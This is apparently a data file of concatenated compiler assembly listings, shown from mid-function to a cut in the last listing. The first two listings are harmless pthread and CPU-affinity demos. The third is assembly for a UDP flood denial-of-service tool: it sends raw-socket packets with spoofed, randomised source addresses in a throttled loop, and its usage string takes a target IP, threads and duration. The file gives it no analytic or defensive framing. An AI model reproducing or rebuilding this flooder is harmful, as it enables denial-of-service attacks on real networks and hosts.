jl .L34
mov edi, 0
call pthread_exit@PLT
.cfi_endproc
.LFE14:
.size myfun, .-myfun
.section .rodata
.LC10:
.string "pthread_join failed"
.text
.globl join_thread
.type join_thread, @function
join_thread:
.LFB15:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
mov esi, 0
mov rdi, rax
call pthread_join@PLT
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], -1
jne .L38
lea rdi, .LC10[rip]
call perror@PLT
mov edi, -1
call exit@PLT
.L38:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE15:
.size join_thread, .-join_thread
.globl entry
.bss
.align 8
.type entry, @object
.size entry, 8
entry:
.zero 8
.text
.globl main
.type main, @function
main:
.LFB16:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 1648
mov DWORD PTR -1636[rbp], edi
mov QWORD PTR -1648[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov edi, 1000
call make_shared
mov QWORD PTR -1624[rbp], rax
lea rax, child_code[rip]
mov QWORD PTR entry[rip], rax
mov DWORD PTR -1628[rbp], 0
jmp .L40
.L41:
mov rax, QWORD PTR entry[rip]
mov rdx, QWORD PTR -1624[rbp]
mov rsi, rdx
mov rdi, rax
call make_thread
mov edx, DWORD PTR -1628[rbp]
movsx rdx, edx
mov QWORD PTR -1616[rbp+rdx*8], rax
add DWORD PTR -1628[rbp], 1
.L40:
cmp DWORD PTR -1628[rbp], 199
jle .L41
mov DWORD PTR -1628[rbp], 0
jmp .L42
.L43:
mov eax, DWORD PTR -1628[rbp]
cdqe
mov rax, QWORD PTR -1616[rbp+rax*8]
mov rdi, rax
call join_thread
add DWORD PTR -1628[rbp], 1
.L42:
cmp DWORD PTR -1628[rbp], 199
jle .L43
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L45
call __stack_chk_fail@PLT
.L45:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE16:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "973708.c"
.text
.align 2
.global perror_exit
.syntax unified
.arm
.fpu softvfp
.type perror_exit, %function
perror_exit:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r0, [fp, #-8]
bl perror
mov r0, #1
bl exit
.size perror_exit, .-perror_exit
.section .rodata
.align 2
.LC0:
.ascii "malloc failed\000"
.text
.align 2
.global check_malloc
.syntax unified
.arm
.fpu softvfp
.type check_malloc, %function
check_malloc:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
ldr r3, [fp, #-16]
mov r0, r3
bl malloc
mov r3, r0
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
bne .L3
ldr r0, .L5
bl perror
mov r0, #1
bl exit
.L3:
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L6:
.align 2
.L5:
.word .LC0
.size check_malloc, .-check_malloc
.section .rodata
.align 2
.LC1:
.ascii "make_mutex failed\000"
.text
.align 2
.global make_mutex
.syntax unified
.arm
.fpu softvfp
.type make_mutex, %function
make_mutex:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
mov r0, #24
bl check_malloc
str r0, [fp, #-12]
mov r1, #0
ldr r0, [fp, #-12]
bl pthread_mutex_init
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L8
ldr r0, .L10
bl perror_exit
.L8:
ldr r3, [fp, #-12]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L11:
.align 2
.L10:
.word .LC1
.size make_mutex, .-make_mutex
.section .rodata
.align 2
.LC2:
.ascii "mutex_lock failed\000"
.text
.align 2
.global mutex_lock
.syntax unified
.arm
.fpu softvfp
.type mutex_lock, %function
mutex_lock:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
ldr r0, [fp, #-16]
bl pthread_mutex_lock
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L14
ldr r0, .L15
bl perror_exit
.L14:
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L16:
.align 2
.L15:
.word .LC2
.size mutex_lock, .-mutex_lock
.section .rodata
.align 2
.LC3:
.ascii "mutex_unlock failed\000"
.text
.align 2
.global mutex_unlock
.syntax unified
.arm
.fpu softvfp
.type mutex_unlock, %function
mutex_unlock:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
ldr r0, [fp, #-16]
bl pthread_mutex_unlock
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L19
ldr r0, .L20
bl perror_exit
.L19:
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L21:
.align 2
.L20:
.word .LC3
.size mutex_unlock, .-mutex_unlock
.section .rodata
.align 2
.LC4:
.ascii "pthread_create failed\000"
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.global make_thread
.syntax unified
.arm
.fpu softvfp
.type make_thread, %function
make_thread:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-24]
str r1, [fp, #-28]
ldr r3, .L26
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r0, fp, #16
ldr r3, [fp, #-28]
ldr r2, [fp, #-24]
mov r1, #0
bl pthread_create
str r0, [fp, #-12]
ldr r3, [fp, #-12]
cmp r3, #0
beq .L23
ldr r0, .L26+4
bl perror
mov r0, #0
bl exit
.L23:
ldr r3, [fp, #-16]
ldr r2, .L26
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L25
bl __stack_chk_fail
.L25:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L27:
.align 2
.L26:
.word .LC5
.word .LC4
.size make_thread, .-make_thread
.align 2
.global make_shared
.syntax unified
.arm
.fpu softvfp
.type make_shared, %function
make_shared:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
mov r0, #8
bl check_malloc
str r0, [fp, #-8]
ldr r3, [fp, #-8]
ldr r2, [fp, #-16]
str r2, [r3]
bl make_mutex
mov r2, r0
ldr r3, [fp, #-8]
str r2, [r3, #4]
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size make_shared, .-make_shared
.section .rodata
.align 2
.LC6:
.ascii "counter = %d \012\000"
.text
.align 2
.global child_code
.syntax unified
.arm
.fpu softvfp
.type child_code, %function
child_code:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
mov r0, r3
bl mutex_lock
ldr r3, [fp, #-8]
ldr r3, [r3]
mov r1, r3
ldr r0, .L31
bl printf
ldr r3, [fp, #-8]
ldr r3, [r3]
add r2, r3, #1
ldr r3, [fp, #-8]
str r2, [r3]
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
mov r0, r3
bl mutex_unlock
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L32:
.align 2
.L31:
.word .LC6
.size child_code, .-child_code
.section .rodata
.align 2
.LC7:
.ascii "system has %d processor(s)\012\000"
.align 2
.LC8:
.ascii "set thread affinity failed\012\000"
.align 2
.LC9:
.ascii "get thread affinity failed\012\000"
.align 2
.LC10:
.ascii "thread %d is running in processor %d\012\000"
.align 2
.LC11:
.word __stack_chk_guard
.text
.align 2
.global myfun
.syntax unified
.arm
.fpu softvfp
.type myfun, %function
myfun:
@ args = 0, pretend = 0, frame = 544
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #544
str r0, [fp, #-544]
ldr r3, .L48
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r0, #83
bl sysconf
str r0, [fp, #-532]
ldr r1, [fp, #-532]
ldr r0, .L48+4
bl printf
mov r3, #0
str r3, [fp, #-540]
b .L34
.L46:
sub r3, fp, #520
mov r0, r3
mov r3, #128
mov r2, r3
mov r1, #0
bl memset
ldr r3, [fp, #-540]
str r3, [fp, #-528]
ldr r3, [fp, #-528]
cmp r3, #1024
bcs .L36
ldr r3, [fp, #-528]
lsr r3, r3, #5
lsl r2, r3, #2
sub r1, fp, #520
add r2, r1, r2
ldr r1, [r2]
ldr r2, [fp, #-528]
and r2, r2, #31
mov r0, #1
lsl r2, r0, r2
lsl r3, r3, #2
sub r0, fp, #520
add r3, r0, r3
orr r2, r1, r2
str r2, [r3]
.L36:
bl pthread_self
sub r3, fp, #520
mov r2, r3
mov r1, #128
bl pthread_setaffinity_np
mov r3, r0
cmp r3, #0
bge .L37
ldr r3, .L48+8
ldr r3, [r3]
mov r2, #27
mov r1, #1
ldr r0, .L48+12
bl fwrite
.L37:
sub r3, fp, #392
mov r0, r3
mov r3, #128
mov r2, r3
mov r1, #0
bl memset
bl pthread_self
sub r3, fp, #392
mov r2, r3
mov r1, #128
bl pthread_getaffinity_np
mov r3, r0
cmp r3, #0
bge .L38
ldr r3, .L48+8
ldr r3, [r3]
mov r2, #27
mov r1, #1
ldr r0, .L48+16
bl fwrite
.L38:
mov r3, #0
str r3, [fp, #-536]
b .L39
.L43:
ldr r3, [fp, #-536]
str r3, [fp, #-524]
ldr r3, [fp, #-524]
cmp r3, #1024
bcs .L40
ldr r3, [fp, #-524]
lsr r3, r3, #5
lsl r3, r3, #2
sub r2, fp, #392
add r3, r2, r3
ldr r2, [r3]
ldr r3, [fp, #-524]
and r3, r3, #31
lsr r3, r2, r3
and r3, r3, #1
cmp r3, #0
beq .L40
mov r3, #1
b .L41
.L40:
mov r3, #0
.L41:
cmp r3, #0
beq .L42
bl pthread_self
mov r3, r0
ldr r2, [fp, #-536]
mov r1, r3
ldr r0, .L48+20
bl printf
.L42:
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L39:
ldr r2, [fp, #-536]
ldr r3, [fp, #-532]
cmp r2, r3
blt .L43
mov r3, #0
str r3, [fp, #-536]
b .L44
.L45:
sub r3, fp, #264
mov r2, #256
mov r1, #0
mov r0, r3
bl memset
.L44:
ldr r3, [fp, #-536]
add r2, r3, #1
str r2, [fp, #-536]
ldr r2, .L48+24
cmp r3, r2
ble .L45
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L34:
ldr r2, [fp, #-540]
ldr r3, [fp, #-532]
cmp r2, r3
blt .L46
mov r0, #0
bl pthread_exit
.L49:
.align 2
.L48:
.word .LC11
.word .LC7
.word stderr
.word .LC8
.word .LC9
.word .LC10
.word 99999999
.size myfun, .-myfun
.section .rodata
.align 2
.LC12:
.ascii "pthread_join failed\000"
.text
.align 2
.global join_thread
.syntax unified
.arm
.fpu softvfp
.type join_thread, %function
join_thread:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
mov r1, #0
ldr r0, [fp, #-16]
bl pthread_join
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmn r3, #1
bne .L52
ldr r0, .L53
bl perror
mvn r0, #0
bl exit
.L52:
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L54:
.align 2
.L53:
.word .LC12
.size join_thread, .-join_thread
.comm entry,4,4
.section .rodata
.align 2
.LC13:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 824
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #824
str r0, [fp, #-824]
str r1, [fp, #-828]
ldr r3, .L62
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r0, #1000
bl make_shared
str r0, [fp, #-812]
ldr r3, .L62+4
ldr r2, .L62+8
str r2, [r3]
mov r3, #0
str r3, [fp, #-816]
b .L56
.L57:
ldr r3, .L62+4
ldr r3, [r3]
ldr r1, [fp, #-812]
mov r0, r3
bl make_thread
mov r2, r0
ldr r3, [fp, #-816]
lsl r3, r3, #2
sub r1, fp, #4
add r3, r1, r3
str r2, [r3, #-804]
ldr r3, [fp, #-816]
add r3, r3, #1
str r3, [fp, #-816]
.L56:
ldr r3, [fp, #-816]
cmp r3, #199
ble .L57
mov r3, #0
str r3, [fp, #-816]
b .L58
.L59:
ldr r3, [fp, #-816]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-804]
mov r0, r3
bl join_thread
ldr r3, [fp, #-816]
add r3, r3, #1
str r3, [fp, #-816]
.L58:
ldr r3, [fp, #-816]
cmp r3, #199
ble .L59
mov r3, #0
ldr r2, .L62
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L61
bl __stack_chk_fail
.L61:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L63:
.align 2
.L62:
.word .LC13
.word entry
.word child_code
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "269882.c"
.intel_syntax noprefix
.text
.local Q
.comm Q,16384,32
.data
.align 4
.type c, @object
.size c, 4
c:
.long 362436
.text
.globl init_rand
.type init_rand, @function
init_rand:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov eax, DWORD PTR -20[rbp]
mov DWORD PTR Q[rip], eax
mov eax, DWORD PTR -20[rbp]
sub eax, 1640531527
mov DWORD PTR Q[rip+4], eax
mov eax, DWORD PTR -20[rbp]
add eax, 1013904242
mov DWORD PTR Q[rip+8], eax
mov DWORD PTR -4[rbp], 3
jmp .L2
.L3:
mov eax, DWORD PTR -4[rbp]
sub eax, 3
cdqe
lea rdx, 0[0+rax*4]
lea rax, Q[rip]
mov ecx, DWORD PTR [rdx+rax]
mov eax, DWORD PTR -4[rbp]
sub eax, 2
cdqe
lea rdx, 0[0+rax*4]
lea rax, Q[rip]
mov eax, DWORD PTR [rdx+rax]
xor ecx, eax
mov edx, ecx
mov eax, DWORD PTR -4[rbp]
xor eax, edx
xor eax, -1640531527
mov ecx, eax
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, Q[rip]
mov DWORD PTR [rdx+rax], ecx
add DWORD PTR -4[rbp], 1
.L2:
cmp DWORD PTR -4[rbp], 4095
jle .L3
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size init_rand, .-init_rand
.globl rand_cmwc
.type rand_cmwc, @function
rand_cmwc:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -16[rbp], 18782
mov DWORD PTR -20[rbp], -2
mov eax, DWORD PTR i.0[rip]
add eax, 1
and eax, 4095
mov DWORD PTR i.0[rip], eax
mov eax, DWORD PTR i.0[rip]
mov eax, eax
lea rdx, 0[0+rax*4]
lea rax, Q[rip]
mov eax, DWORD PTR [rdx+rax]
mov eax, eax
imul rax, QWORD PTR -16[rbp]
mov edx, DWORD PTR c[rip]
mov edx, edx
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
shr rax, 32
mov DWORD PTR c[rip], eax
mov rax, QWORD PTR -8[rbp]
mov edx, eax
mov eax, DWORD PTR c[rip]
add eax, edx
mov DWORD PTR -24[rbp], eax
mov eax, DWORD PTR c[rip]
cmp DWORD PTR -24[rbp], eax
jnb .L5
add DWORD PTR -24[rbp], 1
mov eax, DWORD PTR c[rip]
add eax, 1
mov DWORD PTR c[rip], eax
.L5:
mov esi, DWORD PTR i.0[rip]
mov eax, DWORD PTR -20[rbp]
sub eax, DWORD PTR -24[rbp]
mov edx, esi
lea rcx, 0[0+rdx*4]
lea rdx, Q[rip]
mov DWORD PTR [rcx+rdx], eax
mov eax, esi
lea rdx, 0[0+rax*4]
lea rax, Q[rip]
mov eax, DWORD PTR [rdx+rax]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size rand_cmwc, .-rand_cmwc
.globl myStrCat
.type myStrCat, @function
myStrCat:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
jmp .L8
.L9:
add QWORD PTR -8[rbp], 1
.L8:
mov rax, QWORD PTR -8[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L9
jmp .L10
.L11:
mov rdx, QWORD PTR -16[rbp]
lea rax, 1[rdx]
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -8[rbp]
lea rcx, 1[rax]
mov QWORD PTR -8[rbp], rcx
movzx edx, BYTE PTR [rdx]
mov BYTE PTR [rax], dl
.L10:
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L11
mov rax, QWORD PTR -8[rbp]
mov BYTE PTR [rax], 0
mov rax, QWORD PTR -8[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size myStrCat, .-myStrCat
.globl replStr
.type replStr, @function
replStr:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
cmp QWORD PTR -32[rbp], 0
jne .L14
mov eax, 0
jmp .L15
.L14:
mov rax, QWORD PTR -24[rbp]
mov rdi, rax
call strlen@PLT
add rax, 1
imul rax, QWORD PTR -32[rbp]
mov rdi, rax
call malloc@PLT
mov QWORD PTR -8[rbp], rax
cmp QWORD PTR -8[rbp], 0
jne .L16
mov eax, 0
jmp .L15
.L16:
mov rax, QWORD PTR -8[rbp]
mov BYTE PTR [rax], 0
mov rdx, QWORD PTR -24[rbp]
mov rax, QWORD PTR -8[rbp]
mov rsi, rdx
mov rdi, rax
call myStrCat
mov QWORD PTR -16[rbp], rax
jmp .L17
.L18:
mov rdx, QWORD PTR -24[rbp]
mov rax, QWORD PTR -16[rbp]
mov rsi, rdx
mov rdi, rax
call myStrCat
mov QWORD PTR -16[rbp], rax
.L17:
sub QWORD PTR -32[rbp], 1
cmp QWORD PTR -32[rbp], 0
jne .L18
mov rax, QWORD PTR -8[rbp]
.L15:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size replStr, .-replStr
.globl csum
.type csum, @function
csum:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov QWORD PTR -8[rbp], 0
jmp .L20
.L21:
mov rax, QWORD PTR -24[rbp]
lea rdx, 2[rax]
mov QWORD PTR -24[rbp], rdx
movzx eax, WORD PTR [rax]
movzx eax, ax
add QWORD PTR -8[rbp], rax
sub DWORD PTR -28[rbp], 1
.L20:
cmp DWORD PTR -28[rbp], 0
jg .L21
mov rax, QWORD PTR -8[rbp]
shr rax, 16
mov rdx, rax
mov rax, QWORD PTR -8[rbp]
movzx eax, ax
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
shr rax, 16
add QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
not eax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size csum, .-csum
.section .rodata
.LC0:
.string "192.168.3.100"
.text
.globl setup_ip_header
.type setup_ip_header, @function
setup_ip_header:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
movzx edx, BYTE PTR [rax]
and edx, -16
or edx, 5
mov BYTE PTR [rax], dl
mov rax, QWORD PTR -8[rbp]
movzx edx, BYTE PTR [rax]
and edx, 15
or edx, 64
mov BYTE PTR [rax], dl
mov rax, QWORD PTR -8[rbp]
mov BYTE PTR 1[rax], 0
mov rax, QWORD PTR -8[rbp]
mov WORD PTR 2[rax], 1048
mov edi, 54321
call htonl@PLT
mov edx, eax
mov rax, QWORD PTR -8[rbp]
mov WORD PTR 4[rax], dx
mov rax, QWORD PTR -8[rbp]
mov WORD PTR 6[rax], 0
mov rax, QWORD PTR -8[rbp]
mov BYTE PTR 8[rax], -1
mov rax, QWORD PTR -8[rbp]
mov BYTE PTR 9[rax], 17
mov rax, QWORD PTR -8[rbp]
mov WORD PTR 10[rax], 0
lea rdi, .LC0[rip]
mov eax, 0
call inet_addr@PLT
mov edx, eax
mov rax, QWORD PTR -8[rbp]
mov DWORD PTR 12[rax], edx
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size setup_ip_header, .-setup_ip_header
.section .rodata
.LC1:
.string "\377\377\377\377"
.text
.globl setup_udp_header
.type setup_udp_header, @function
setup_udp_header:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov edi, 5678
call htons@PLT
mov rdx, QWORD PTR -24[rbp]
mov WORD PTR [rdx], ax
mov rax, QWORD PTR -24[rbp]
mov WORD PTR 6[rax], 0
mov rax, QWORD PTR -24[rbp]
add rax, 8
mov QWORD PTR -8[rbp], rax
mov esi, 256
lea rdi, .LC1[rip]
call replStr
mov QWORD PTR -8[rbp], rax
mov edi, 1028
call htons@PLT
mov rdx, QWORD PTR -24[rbp]
mov WORD PTR 4[rdx], ax
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size setup_udp_header, .-setup_udp_header
.section .rodata
.LC2:
.string "Could not open raw socket.\n"
.align 8
.LC3:
.string "Error: setsockopt() - Cannot set HDRINCL!\n"
.text
.globl flood
.type flood, @function
flood:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 112
mov QWORD PTR -4200[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rax, QWORD PTR -4200[rbp]
mov QWORD PTR -4160[rbp], rax
lea rax, -4112[rbp]
mov QWORD PTR -4152[rbp], rax
mov rax, QWORD PTR -4152[rbp]
add rax, 20
mov QWORD PTR -4144[rbp], rax
mov rax, QWORD PTR -4160[rbp]
mov rdx, QWORD PTR 16[rax]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -4128[rbp], rax
mov QWORD PTR -4120[rbp], rdx
mov edx, 6
mov esi, 3
mov edi, 2
call socket@PLT
mov DWORD PTR -4172[rbp], eax
cmp DWORD PTR -4172[rbp], 0
jns .L26
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 27
mov esi, 1
lea rdi, .LC2[rip]
call fwrite@PLT
mov edi, -1
call exit@PLT
.L26:
lea rax, -4112[rbp]
mov edx, 4096
mov esi, 0
mov rdi, rax
call memset@PLT
mov rax, QWORD PTR -4152[rbp]
mov rdi, rax
call setup_ip_header
mov rax, QWORD PTR -4144[rbp]
mov rdi, rax
call setup_udp_header
call rand@PLT
mov edx, eax
movsx rax, edx
imul rax, rax, 1717986919
shr rax, 32
sar eax, 13
mov esi, edx
sar esi, 31
sub eax, esi
mov ecx, eax
mov eax, ecx
sal eax, 2
add eax, ecx
sal eax, 12
mov ecx, edx
sub ecx, eax
mov eax, ecx
movzx eax, ax
mov edi, eax
call htons@PLT
mov rdx, QWORD PTR -4144[rbp]
mov WORD PTR 2[rdx], ax
mov edx, DWORD PTR -4124[rbp]
mov rax, QWORD PTR -4152[rbp]
mov DWORD PTR 16[rax], edx
mov rax, QWORD PTR -4152[rbp]
movzx eax, WORD PTR 2[rax]
shr ax
movzx edx, ax
lea rax, -4112[rbp]
mov esi, edx
mov rdi, rax
call csum
mov rdx, QWORD PTR -4152[rbp]
mov WORD PTR 10[rdx], ax
mov DWORD PTR -4180[rbp], 1
lea rax, -4180[rbp]
mov QWORD PTR -4136[rbp], rax
mov rdx, QWORD PTR -4136[rbp]
mov eax, DWORD PTR -4172[rbp]
mov r8d, 4
mov rcx, rdx
mov edx, 3
mov esi, 0
mov edi, eax
call setsockopt@PLT
test eax, eax
jns .L27
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 42
mov esi, 1
lea rdi, .LC3[rip]
call fwrite@PLT
mov edi, -1
call exit@PLT
.L27:
mov rax, QWORD PTR -4160[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -4176[rbp], eax
mov edi, 0
call time@PLT
mov edi, eax
call init_rand
cmp DWORD PTR -4176[rbp], 0
jne .L28
.L29:
mov rax, QWORD PTR -4152[rbp]
movzx eax, WORD PTR 2[rax]
movzx edx, ax
lea rcx, -4128[rbp]
lea rsi, -4112[rbp]
mov eax, DWORD PTR -4172[rbp]
mov r9d, 16
mov r8, rcx
mov ecx, 0
mov edi, eax
call sendto@PLT
call rand_cmwc
mov DWORD PTR -4168[rbp], eax
mov eax, DWORD PTR -4168[rbp]
mov DWORD PTR -4164[rbp], eax
mov rax, QWORD PTR -4152[rbp]
mov edx, DWORD PTR -4164[rbp]
mov DWORD PTR 12[rax], edx
mov eax, DWORD PTR -4168[rbp]
movzx eax, ax
mov edi, eax
call htons@PLT
mov rdx, QWORD PTR -4144[rbp]
mov WORD PTR [rdx], ax
mov rax, QWORD PTR -4152[rbp]
movzx eax, WORD PTR 2[rax]
shr ax
movzx edx, ax
lea rax, -4112[rbp]
mov esi, edx
mov rdi, rax
call csum
mov rdx, QWORD PTR -4152[rbp]
mov WORD PTR 10[rdx], ax
jmp .L29
.L28:
mov rax, QWORD PTR -4160[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -4176[rbp], eax
mov rax, QWORD PTR -4152[rbp]
movzx eax, WORD PTR 2[rax]
movzx edx, ax
lea rcx, -4128[rbp]
lea rsi, -4112[rbp]
mov eax, DWORD PTR -4172[rbp]
mov r9d, 16
mov r8, rcx
mov ecx, 0
mov edi, eax
call sendto@PLT
call rand_cmwc
mov DWORD PTR -4168[rbp], eax
mov eax, DWORD PTR -4168[rbp]
mov DWORD PTR -4164[rbp], eax
mov rax, QWORD PTR -4152[rbp]
mov edx, DWORD PTR -4164[rbp]
mov DWORD PTR 12[rax], edx
mov eax, DWORD PTR -4168[rbp]
movzx eax, ax
mov edi, eax
call htons@PLT
mov rdx, QWORD PTR -4144[rbp]
mov WORD PTR [rdx], ax
mov rax, QWORD PTR -4152[rbp]
movzx eax, WORD PTR 2[rax]
shr ax
movzx edx, ax
lea rax, -4112[rbp]
mov esi, edx
mov rdi, rax
call csum
mov rdx, QWORD PTR -4152[rbp]
mov WORD PTR 10[rdx], ax
.L30:
sub DWORD PTR -4176[rbp], 1
cmp DWORD PTR -4176[rbp], 0
jne .L30
jmp .L28
.cfi_endproc
.LFE13:
.size flood, .-flood
.section .rodata
.LC4:
.string "Invalid parameters!\n"
.align 8
.LC5:
.string "Usage: %s <IP> <throttle> <threads> <time>\n"
.LC6:
.string "Setting up Sockets...\n"
.LC7:
.string "Starting Flood...\n"
.text
.globl main
.type main, @function
main:
.LFB14:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 136
